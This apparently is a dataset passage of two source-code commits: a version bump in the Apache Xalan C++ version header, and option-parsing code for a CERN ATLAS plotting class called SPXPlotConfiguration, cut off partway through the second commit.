{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 2002 The Apache Software Foundation.  All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:\n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written\n *    permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com .  For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n#if !defined(XALANVERSION_HEADER_GUARD_1357924680)\n#define XALANVERSION_HEADER_GUARD_1357924680\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ X A L A N   V E R S I O N   H E A D E R   D O C U M E N T A T I O N\n\n\/**\n * User Documentation for Xalan Version Values:\n *\n *  \n *\n * Xalan  Notes:\n *\n * Xalan Committers Documentation:\n *\n *    Xalan committers normally only need to modify one or two of the \n *    following macros:\n *\n *      XALAN_VERSION_MAJOR\n *      XALAN_VERSION_MINOR\n *      XALAN_VERSION_REVISION\n *\n *    The integer values of these macros define the Xalan version number. All\n *    other constants and preprocessor macros are automatically generated from\n *    these three definitions.\n *\n * Xalan User Documentation:\n *\n *  The following sections in the user documentation have examples based upon\n *  the following three version input values:\n *\n *    #define XALAN_VERSION_MAJOR 19\n *    #define XALAN_VERSION_MINOR 3\n *    #define XALAN_VERSION_REVISION 74\n *\n *  The minor and revision (patch level) numbers have two digits of resolution\n *  which means that '3' becomes '03' in this example. This policy guarantees\n *  that when using preprocessor macros, version 19.3.74 will be greater than\n *  version 1.94.74 since the first will expand to 190374 and the second to\n *  19474.\n *\n *  Preprocessor Macros:\n *\n *    _XALAN_VERSION defines the primary preprocessor macro that users will\n *    introduce into their code to perform conditional compilation where the\n *    version of Xalan is detected in order to enable or disable version \n *    specific capabilities. The value of _XALAN_VERSION for the above example\n *    will be 190374. To use it a user would perform an operation such as the\n *    following:\n *\n *      #if _XALAN_VERSION >= 190374\n *        \/\/ code specific to new version of Xalan...\n *      #else\n *        \/\/ old code here...\n *      #endif\n *\n *    XALAN_FULLVERSIONSTR is a preprocessor macro that expands to a string\n *    constant whose value, for the above example, will be \"19_3_74\".\n *\n *    XALAN_FULLVERSIONDOT is a preprocessor macro that expands to a string\n *    constant whose value, for the above example, will be \"19.3.74\".\n *\n *    XALAN_VERSIONSTR is a preprocessor macro that expands to a string\n *    constant whose value, for the above example, will be \"19374\". This \n *    particular macro is very dangerous if it were to be used for comparing\n *    version numbers since ordering will not be guaranteed.\n *\n *    Xalan_DLLVersionStr is a preprocessor macro that expands to a string\n *    constant whose value, for the above example, will be \"19_3_74\". This\n *    macro is provided for backwards compatibility to pre-1.7 versions of\n *    Xalan.\n *\n *  String Constants:\n *\n *    gXalanVersionStr is a global string constant whose value corresponds to\n *    the value \"19_3\" for the above example.\n *\n *    gXalanFullVersionStr is a global string constant whose value corresponds\n *    to the value \"19_3_74\" for the above example. \n *\n *  Numeric Constants:\n *\n *    gXalanMajVersion is a global integer constant whose value corresponds to\n *    the major version number. For the above example its value will be 19.\n *\n *    gXalanMinVersion is a global integer constant whose value corresponds to\n *    the minor version number. For the above example its value will be 3.\n *\n *    gXalanRevision is a global integer constant whose value corresponds to\n *    the revision (patch) version number. For the above example its value will\n *    be 74.\n *\n *\/\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ X A L A N   V E R S I O N   S P E C I F I C A T I O N\n\n\/**\n * MODIFY THESE NUMERIC VALUES TO COINCIDE WITH XALAN VERSION\n * AND DO NOT MODIFY ANYTHING ELSE IN THIS VERSION HEADER FILE\n *\/\n\n#define XALAN_VERSION_MAJOR 1\n#define XALAN_VERSION_MINOR 4\n#define XALAN_VERSION_REVISION 0\n\n\n\/** DO NOT MODIFY BELOW THIS LINE *\/\n\n\/**\n * MAGIC THAT AUTOMATICALLY GENERATES THE FOLLOWING:\n *\n *\tXalan_DLLVersionStr, gXalanVersionStr, gXalanFullVersionStr,\n *\tgXalanMajVersion, gXalanMinVersion, gXalanRevision\n *\/\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ T W O   A R G U M E N T   C O N C A T E N A T I O N   M A C R O S\n\n\/\/ two argument concatenation routines\n#define CAT2_SEP_UNDERSCORE(a, b) #a \"_\" #b\n#define CAT2_SEP_PERIOD(a, b) #a \".\" #b\n#define CAT2_SEP_NIL(a, b) #a #b\n#define CAT2_RAW_NUMERIC(a, b) a ## b\n\n\/\/ two argument macro invokers\n#define INVK_CAT2_SEP_UNDERSCORE(a,b) CAT2_SEP_UNDERSCORE(a,b)\n#define INVK_CAT2_SEP_PERIOD(a,b)     CAT2_SEP_PERIOD(a,b)\n#define INVK_CAT2_STR_SEP_NIL(a,b)    CAT2_SEP_NIL(a,b)\n#define INVK_CAT2_RAW_NUMERIC(a,b)    CAT2_RAW_NUMERIC(a,b)\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ T H R E E   A R G U M E N T   C O N C A T E N A T I O N   M A C R O S\n\n\/\/ three argument concatenation routines\n#define CAT3_SEP_UNDERSCORE(a, b, c) #a \"_\" #b \"_\" #c\n#define CAT3_SEP_PERIOD(a, b, c) #a \".\" #b \".\" #c\n#define CAT3_SEP_NIL(a, b, c) #a #b #c\n#define CAT3_RAW_NUMERIC(a, b, c) a ## b ## c\n\n\/\/ three argument macro invokers\n#define INVK_CAT3_SEP_UNDERSCORE(a,b,c) CAT3_SEP_UNDERSCORE(a,b,c)\n#define INVK_CAT3_SEP_PERIOD(a,b,c)     CAT3_SEP_PERIOD(a,b,c)\n#define INVK_CAT3_SEP_NIL(a,b,c)        CAT3_SEP_NIL(a,b,c)\n#define INVK_CAT3_RAW_NUMERIC(a,b,c)    CAT3_RAW_NUMERIC(a,b,c)\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ C A L C U L A T E   V E R S I O N   -   E X P A N D E D   F O R M\n\n#define MULTIPLY(factor,value) factor * value\n#define CALC_EXPANDED_FORM(a,b,c) ( MULTIPLY(10000,a) + MULTIPLY(100,b) + MULTIPLY(1,c) )\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ X A L A N   V E R S I O N   I N F O R M A T I O N\n\n\/\/ Xalan version strings; these particular macros cannot be used for\n\/\/ conditional compilation as they are not numeric constants\n\n#define XALAN_FULLVERSIONSTR INVK_CAT3_SEP_UNDERSCORE(XALAN_VERSION_MAJOR,XALAN_VERSION_MINOR,XALAN_VERSION_REVISION)\n#define XALAN_FULLVERSIONDOT INVK_CAT3_SEP_PERIOD(XALAN_VERSION_MAJOR,XALAN_VERSION_MINOR,XALAN_VERSION_REVISION)\n#define XALAN_FULLVERSIONNUM INVK_CAT3_SEP_NIL(XALAN_VERSION_MAJOR,XALAN_VERSION_MINOR,XALAN_VERSION_REVISION)\n#define XALAN_VERSIONSTR     INVK_CAT2_SEP_UNDERSCORE(XALAN_VERSION_MAJOR,XALAN_VERSION_MINOR)\n\n\/\/ original from Xalan header\n#define Xalan_DLLVersionStr XALAN_FULLVERSIONSTR\n\nconst char* const    gXalanVersionStr = XALAN_VERSIONSTR;\nconst char* const    gXalanFullVersionStr = XALAN_FULLVERSIONSTR;\nconst unsigned int   gXalanMajVersion = XALAN_VERSION_MAJOR;\nconst unsigned int   gXalanMinVersion = XALAN_VERSION_MINOR;\nconst unsigned int   gXalanRevision   = XALAN_VERSION_REVISION;\n\n\/\/ Xalan version numeric constants that can be used for conditional\n\/\/ compilation purposes.\n\n#define _XALAN_VERSION CALC_EXPANDED_FORM (XALAN_VERSION_MAJOR,XALAN_VERSION_MINOR,XALAN_VERSION_REVISION)\n\n#endif \/\/ XALANVERSION_HEADER_GUARD_1357924680\n<commit_msg>Bumped minor version number.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 2002 The Apache Software Foundation.  All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:\n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written\n *    permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com .  For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n#if !defined(XALANVERSION_HEADER_GUARD_1357924680)\n#define XALANVERSION_HEADER_GUARD_1357924680\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ X A L A N   V E R S I O N   H E A D E R   D O C U M E N T A T I O N\n\n\/**\n * User Documentation for Xalan Version Values:\n *\n *  \n *\n * Xalan  Notes:\n *\n * Xalan Committers Documentation:\n *\n *    Xalan committers normally only need to modify one or two of the \n *    following macros:\n *\n *      XALAN_VERSION_MAJOR\n *      XALAN_VERSION_MINOR\n *      XALAN_VERSION_REVISION\n *\n *    The integer values of these macros define the Xalan version number. All\n *    other constants and preprocessor macros are automatically generated from\n *    these three definitions.\n *\n * Xalan User Documentation:\n *\n *  The following sections in the user documentation have examples based upon\n *  the following three version input values:\n *\n *    #define XALAN_VERSION_MAJOR 19\n *    #define XALAN_VERSION_MINOR 3\n *    #define XALAN_VERSION_REVISION 74\n *\n *  The minor and revision (patch level) numbers have two digits of resolution\n *  which means that '3' becomes '03' in this example. This policy guarantees\n *  that when using preprocessor macros, version 19.3.74 will be greater than\n *  version 1.94.74 since the first will expand to 190374 and the second to\n *  19474.\n *\n *  Preprocessor Macros:\n *\n *    _XALAN_VERSION defines the primary preprocessor macro that users will\n *    introduce into their code to perform conditional compilation where the\n *    version of Xalan is detected in order to enable or disable version \n *    specific capabilities. The value of _XALAN_VERSION for the above example\n *    will be 190374. To use it a user would perform an operation such as the\n *    following:\n *\n *      #if _XALAN_VERSION >= 190374\n *        \/\/ code specific to new version of Xalan...\n *      #else\n *        \/\/ old code here...\n *      #endif\n *\n *    XALAN_FULLVERSIONSTR is a preprocessor macro that expands to a string\n *    constant whose value, for the above example, will be \"19_3_74\".\n *\n *    XALAN_FULLVERSIONDOT is a preprocessor macro that expands to a string\n *    constant whose value, for the above example, will be \"19.3.74\".\n *\n *    XALAN_VERSIONSTR is a preprocessor macro that expands to a string\n *    constant whose value, for the above example, will be \"19374\". This \n *    particular macro is very dangerous if it were to be used for comparing\n *    version numbers since ordering will not be guaranteed.\n *\n *    Xalan_DLLVersionStr is a preprocessor macro that expands to a string\n *    constant whose value, for the above example, will be \"19_3_74\". This\n *    macro is provided for backwards compatibility to pre-1.7 versions of\n *    Xalan.\n *\n *  String Constants:\n *\n *    gXalanVersionStr is a global string constant whose value corresponds to\n *    the value \"19_3\" for the above example.\n *\n *    gXalanFullVersionStr is a global string constant whose value corresponds\n *    to the value \"19_3_74\" for the above example. \n *\n *  Numeric Constants:\n *\n *    gXalanMajVersion is a global integer constant whose value corresponds to\n *    the major version number. For the above example its value will be 19.\n *\n *    gXalanMinVersion is a global integer constant whose value corresponds to\n *    the minor version number. For the above example its value will be 3.\n *\n *    gXalanRevision is a global integer constant whose value corresponds to\n *    the revision (patch) version number. For the above example its value will\n *    be 74.\n *\n *\/\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ X A L A N   V E R S I O N   S P E C I F I C A T I O N\n\n\/**\n * MODIFY THESE NUMERIC VALUES TO COINCIDE WITH XALAN VERSION\n * AND DO NOT MODIFY ANYTHING ELSE IN THIS VERSION HEADER FILE\n *\/\n\n#define XALAN_VERSION_MAJOR 1\n#define XALAN_VERSION_MINOR 5\n#define XALAN_VERSION_REVISION 0\n\n\n\/** DO NOT MODIFY BELOW THIS LINE *\/\n\n\/**\n * MAGIC THAT AUTOMATICALLY GENERATES THE FOLLOWING:\n *\n *\tXalan_DLLVersionStr, gXalanVersionStr, gXalanFullVersionStr,\n *\tgXalanMajVersion, gXalanMinVersion, gXalanRevision\n *\/\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ T W O   A R G U M E N T   C O N C A T E N A T I O N   M A C R O S\n\n\/\/ two argument concatenation routines\n#define CAT2_SEP_UNDERSCORE(a, b) #a \"_\" #b\n#define CAT2_SEP_PERIOD(a, b) #a \".\" #b\n#define CAT2_SEP_NIL(a, b) #a #b\n#define CAT2_RAW_NUMERIC(a, b) a ## b\n\n\/\/ two argument macro invokers\n#define INVK_CAT2_SEP_UNDERSCORE(a,b) CAT2_SEP_UNDERSCORE(a,b)\n#define INVK_CAT2_SEP_PERIOD(a,b)     CAT2_SEP_PERIOD(a,b)\n#define INVK_CAT2_STR_SEP_NIL(a,b)    CAT2_SEP_NIL(a,b)\n#define INVK_CAT2_RAW_NUMERIC(a,b)    CAT2_RAW_NUMERIC(a,b)\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ T H R E E   A R G U M E N T   C O N C A T E N A T I O N   M A C R O S\n\n\/\/ three argument concatenation routines\n#define CAT3_SEP_UNDERSCORE(a, b, c) #a \"_\" #b \"_\" #c\n#define CAT3_SEP_PERIOD(a, b, c) #a \".\" #b \".\" #c\n#define CAT3_SEP_NIL(a, b, c) #a #b #c\n#define CAT3_RAW_NUMERIC(a, b, c) a ## b ## c\n\n\/\/ three argument macro invokers\n#define INVK_CAT3_SEP_UNDERSCORE(a,b,c) CAT3_SEP_UNDERSCORE(a,b,c)\n#define INVK_CAT3_SEP_PERIOD(a,b,c)     CAT3_SEP_PERIOD(a,b,c)\n#define INVK_CAT3_SEP_NIL(a,b,c)        CAT3_SEP_NIL(a,b,c)\n#define INVK_CAT3_RAW_NUMERIC(a,b,c)    CAT3_RAW_NUMERIC(a,b,c)\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ C A L C U L A T E   V E R S I O N   -   E X P A N D E D   F O R M\n\n#define MULTIPLY(factor,value) factor * value\n#define CALC_EXPANDED_FORM(a,b,c) ( MULTIPLY(10000,a) + MULTIPLY(100,b) + MULTIPLY(1,c) )\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ X A L A N   V E R S I O N   I N F O R M A T I O N\n\n\/\/ Xalan version strings; these particular macros cannot be used for\n\/\/ conditional compilation as they are not numeric constants\n\n#define XALAN_FULLVERSIONSTR INVK_CAT3_SEP_UNDERSCORE(XALAN_VERSION_MAJOR,XALAN_VERSION_MINOR,XALAN_VERSION_REVISION)\n#define XALAN_FULLVERSIONDOT INVK_CAT3_SEP_PERIOD(XALAN_VERSION_MAJOR,XALAN_VERSION_MINOR,XALAN_VERSION_REVISION)\n#define XALAN_FULLVERSIONNUM INVK_CAT3_SEP_NIL(XALAN_VERSION_MAJOR,XALAN_VERSION_MINOR,XALAN_VERSION_REVISION)\n#define XALAN_VERSIONSTR     INVK_CAT2_SEP_UNDERSCORE(XALAN_VERSION_MAJOR,XALAN_VERSION_MINOR)\n\n\/\/ original from Xalan header\n#define Xalan_DLLVersionStr XALAN_FULLVERSIONSTR\n\nconst char* const    gXalanVersionStr = XALAN_VERSIONSTR;\nconst char* const    gXalanFullVersionStr = XALAN_FULLVERSIONSTR;\nconst unsigned int   gXalanMajVersion = XALAN_VERSION_MAJOR;\nconst unsigned int   gXalanMinVersion = XALAN_VERSION_MINOR;\nconst unsigned int   gXalanRevision   = XALAN_VERSION_REVISION;\n\n\/\/ Xalan version numeric constants that can be used for conditional\n\/\/ compilation purposes.\n\n#define _XALAN_VERSION CALC_EXPANDED_FORM (XALAN_VERSION_MAJOR,XALAN_VERSION_MINOR,XALAN_VERSION_REVISION)\n\n#endif \/\/ XALANVERSION_HEADER_GUARD_1357924680\n<|endoftext|>"}
{"text":"<commit_before>\/\/************************************************************\/\n\/\/\n\/\/\tFrame Options Implementation\n\/\/\n\/\/\tImplements the SPXPlotConfiguration class, which describes the options\n\/\/\tfor each frame to plot. The options are:\n\/\/\n\/\/\t\tdata_steering_files -- Comma separated list of all data steering files\n\/\/\t\tgrid_steering_files -- Comma separated list of all grid steering files\n\/\/\t\tmarker_style -- Comma separated list of marker style options\n\/\/\t\tmarker_color -- Comma separated list of marker color options\n\/\/\t\t\n\/\/\t\tOptional options:\n\/\/\n\/\/\t\t\tref_line_style -- Reference line style list\n\/\/\t\t\tref_line_color -- Reference line color list\n\/\/\t\t\tdesc -- Description of the entire plot (not a list)\n\/\/\n\/\/\t@Author: \tJ. Gibson, C. Embree, T. Carli - CERN ATLAS\n\/\/\t@Date:\t\t29.09.2014\n\/\/\t@Email:\t\tgibsjose@mail.gvsu.edu\n\/\/\n\/\/************************************************************\/\n#include <stdlib.h> \/\/atoi\n\n#include \"SPXPlotConfiguration.h\"\n#include \"SPXUtilities.h\"\n\n\/\/Class names for debug statements\nconst std::string cn = \"SPXPlotConfiguration::\";\n\n\/\/Must define the static debug variable in the implementation\nbool SPXPlotConfiguration::debug;\nbool SPXPlotConfigurationInstance::debug;\n\n\/\/Constructs an SPXPlotConfiguration object with a vector of string vectors, where indices are:\n\/\/\toptions[0] --> Vector of data steering files\n\/\/\toptions[1] --> Vector of grid steering files\n\/\/\toptions[2] --> Vector of marker styles\n\/\/\toptions[3] --> Vector of marker colors\n\/\/ \toptions[4] --> Vector of reference line styles (optional)\n\/\/\toptions[5] --> Vector of reference line colors (optional)\n\/\/\n\/\/Description is the (optional) frame description\n\/\/And numberOfConfigurationInstances is the size of the vector of string vectors\nSPXPlotConfiguration::SPXPlotConfiguration(const std::vector<std::vector<std::string> > & options, const std::string description, unsigned int numberOfConfigurationInstances) {\n\tthis->SetDefaults();\n\tthis->description = description;\n\tthis->numberOfConfigurationInstances = numberOfConfigurationInstances;\n\t\n\t\/\/Attempt to parse the options instances\n\ttry {\n\t\tthis->Parse(options);\n\t} catch(const SPXException &e) {\n\t\tstd::cerr << e.what() << std::endl;\n\t\t\n\t\tthrow SPXParseException(\"Unable to parse SPXPlotConfiguration instances\");\n\t}\t\n}\n\n\/\/Parse the vector of vector of strings into a vector of SPXPlotConfigurationInstances, convert\n\/\/\tstrings to integers where needed, and check each instance for errors (and IsEmpty) before\n\/\/\tadding it to the vector (call AddOptionsInstance(), which checks IsEmpty and IsValid)\nvoid SPXPlotConfiguration::Parse(const std::vector<std::vector<std::string> > & options) {\n\tstd::string mn = \"Parse: \";\n\t\n\t\/\/Return false if size of options vector is less than 4\n\tif(options.size() < 4) {\n\t\tstd::ostringstream oss;\n\t\t\n\t\toss << \"Too few vectors in options vector: Only \" << options.size() << \" options: Options vector MUST contain vectors for:\" << std::endl;\n\t\toss << \"\\t Data Steering Files\" << std::endl;\n\t\toss << \"\\t Grid Steering Files\" << std::endl;\n\t\toss << \"\\t Marker Styles\" << std::endl;\n\t\toss << \"\\t Marker Colors\" << std::endl;\n\t\t\n\t\toss << \"\\t\\t\\t\\t\\t And optionally for:\" << std::endl;\n\t\toss << \"\\t Reference Line Styles\" << std::endl;\n\t\toss << \"\\t Reference Line Colors\";\n\t\t\n\t\tthrow SPXParseException(oss.str());\n\t}\n\t\n\tif(debug) {\n\t\tstd::cout << cn << mn << \"Parsing frame options vector:\" << std::endl;\n\t\t\n\t\tstd::vector<std::string> tmpVector;\n\t\t\n\t\ttmpVector = options[0];\n\t\tstd::cout << \"\\tdata_steering_files = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t\n\t\ttmpVector = options[1];\n\t\tstd::cout << \"\\tgrid_steering_files = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t\n\t\ttmpVector = options[2];\n\t\tstd::cout << \"\\tmarker_style = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t\n\t\ttmpVector = options[3];\n\t\tstd::cout << \"\\tmarker_color = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t\n\t\tif(options.size() >= 5) {\n\t\t\ttmpVector = options[4];\n\t\t\tstd::cout << \"\\tref_line_style = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t} else {\n\t\t\tif(debug) std::cout << cn << mn << \"No reference line style option specified\" << std::endl;\n\t\t}\n\t\t\n\t\tif(options.size() == 6) {\n\t\t\ttmpVector = options[5];\n\t\t\tstd::cout << \"\\tref_line_color = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t} else {\n\t\t\tif(debug) std::cout << cn << mn << \"No reference line color option specified\" << std::endl;\n\t\t}\n\t}\n\n\tif(debug) std::cout << cn << mn << \"numberOfConfigurationInstances = \" << numberOfConfigurationInstances << std::endl;\n\t\n\t\/\/Check options vector sizes against numberOfConfigurationInstances (should ALL be equal)\n\tif(numberOfConfigurationInstances != options[0].size()) {\n\t\tstd::ostringstream oss;\n\t\toss << \"Size of Data Steering File vector (\" << options[0].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\tthrow SPXParseException(oss.str());\n\t}\n\tif(numberOfConfigurationInstances != options[1].size()) {\n\t\tstd::ostringstream oss;\n\t\toss << \"Size of Grid Steering File vector (\" << options[1].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\tthrow SPXParseException(oss.str());\n\t}\n\tif(numberOfConfigurationInstances != options[2].size()) {\n\t\tstd::ostringstream oss;\n\t\toss << \"Size of Marker Style vector (\" << options[2].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\tthrow SPXParseException(oss.str());\n\t}\n\tif(numberOfConfigurationInstances != options[3].size()) {\n\t\tstd::ostringstream oss;\n\t\toss << \"Size of Marker Color vector (\" << options[3].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\tthrow SPXParseException(oss.str());\n\t}\n\t\n\tif(options.size() >= 5) {\n\t\tif(numberOfConfigurationInstances != options[4].size()) {\n\t\t\tstd::ostringstream oss;\n\t\t\toss << \"Size of Reference Line Style vector (\" << options[4].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\t\tthrow SPXParseException(oss.str());\n\t\t}\n\t}\n\t\n\tif(options.size() == 6) {\n\t\tif(numberOfConfigurationInstances != options[5].size()) {\n\t\t\tstd::ostringstream oss;\n\t\t\toss << \"Size of Reference Line Color vector (\" << options[5].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\t\tthrow SPXParseException(oss.str());\n\t\t}\n\t}\n\t\n\t\/\/For each options instance, create an SPXPlotConfigurationInstance object and add it to the vector\n\tfor(int i = 0; i < numberOfConfigurationInstances; i++) {\t\n\t\tSPXPlotConfigurationInstance pci;\n\t\tpci.SetDefaults();\n\t\t\n\t\t\/\/Create objects and set the filename for the Data\/Grid Steering Files\n\t\tpci.dataSteeringFile = SPXDataSteeringFile(options[0][i]);\n\t\tpci.gridSteeringFile = SPXGridSteeringFile(options[1][i]);\n\t\t\n\t\tpci.markerStyle = atoi(options[2][i].c_str());\n\t\tpci.markerColor = atoi(options[3][i].c_str());\n\t\t\n\t\tif(options.size() >= 5) {\n\t\t\tpci.refLineStyle = atoi(options[4][i].c_str());\n\t\t}\n\t\t\n\t\tif(options.size() == 6) {\n\t\t\tpci.refLineColor = atoi(options[5][i].c_str());\n\t\t}\n\t\t\n\t\t\/\/Attempt to add the configuration instance\n\t\ttry {\n\t\t\tAddConfigurationInstance(pci);\n\t\t} catch(const SPXException &e) {\n\t\t\tstd::cerr << e.what() << std::endl;\n\t\t\t\n\t\t\tthrow SPXParseException(\"ERROR: Could not add options configuration to configuration instance vector: Instance was empty or invalid\");\n\t\t}\n\t}\n}\n\n\/\/Print displays the output of ToString to the console\n\/*\nvoid SPXPlotConfiguration::Print(void) {\n\tstd::string mn = \"Print: \";\n\t\/\/std::cout << this->ToString() << std::endl;\n}\n*\/\n\n\/\/ToString does the opposite of Parse\n\/*\nconst std::string & SPXPlotConfiguration::ToString(void) const {\n\tstd::string mn = \"ToString: \";\n\t\n\t\/\/Empty frame options\n\tif(this->IsEmpty()) {\n\t\treturn \"\";\n\t}\n\t\n\t\/\/Check for validity\n\tif(!this->IsValid()) {\n\t\treturn \"INVALID_FRAME_OPTIONS\";\n\t}\n\t\n\t\n}\n*\/\n\n\/\/Determines whether the Frame Options object is empty or not\nbool SPXPlotConfiguration::IsEmpty(void) {\n\tstd::string mn = \"IsEmpty: \";\n\n\t\/\/Return true if all options vector is empty and numberOfConfigurationInstances is 0\n\tif((numberOfConfigurationInstances == 0) && (configurationInstances.size() == 0)) {\n\t\treturn true;\n\t}\n\t\n\treturn false;\n}\n\n\/\/Determines the validity of the frame options\nbool SPXPlotConfiguration::IsValid(void) {\n\tstd::string mn = \"IsValid: \";\n\t\n\t\/\/Valid, but empty\n\tif(IsEmpty()) {\n\t\treturn true;\n\t}\n\t\n\t\/\/Return false if the numberOfConfigurationInstances does not match the size of the configurationInstances vector\n\tif(numberOfConfigurationInstances != configurationInstances.size()) {\n\t\tif(debug) std::cout << cn << mn << \"Size of Options Instances vector (\" << configurationInstances.size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\" << std::endl;\n\t\treturn false;\n\t}\n\t\n\t\/\/Return false if ANY of the frame options are invalid\n\tfor(int i = 0; i < numberOfConfigurationInstances; i++) {\n\t\tif(!configurationInstances[i].IsValid()) {\n\t\t\tif(debug) std::cout << cn << mn << \"An invalid options instance was found at index \" << i << std::endl;\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\treturn true;\n}\n\n<commit_msg>Added x and y scale. STILL NEED TO PARSE! NEED TO CHANGE vector<vector<string>> to map<string, vector<string>>...<commit_after>\/\/************************************************************\/\n\/\/\n\/\/\tFrame Options Implementation\n\/\/\n\/\/\tImplements the SPXPlotConfiguration class, which describes the options\n\/\/\tfor each frame to plot. The options are:\n\/\/\n\/\/\t\tdata_steering_files -- Comma separated list of all data steering files\n\/\/\t\tgrid_steering_files -- Comma separated list of all grid steering files\n\/\/\t\tmarker_style -- Comma separated list of marker style options\n\/\/\t\tmarker_color -- Comma separated list of marker color options\n\/\/\t\t\n\/\/\t\tOptional 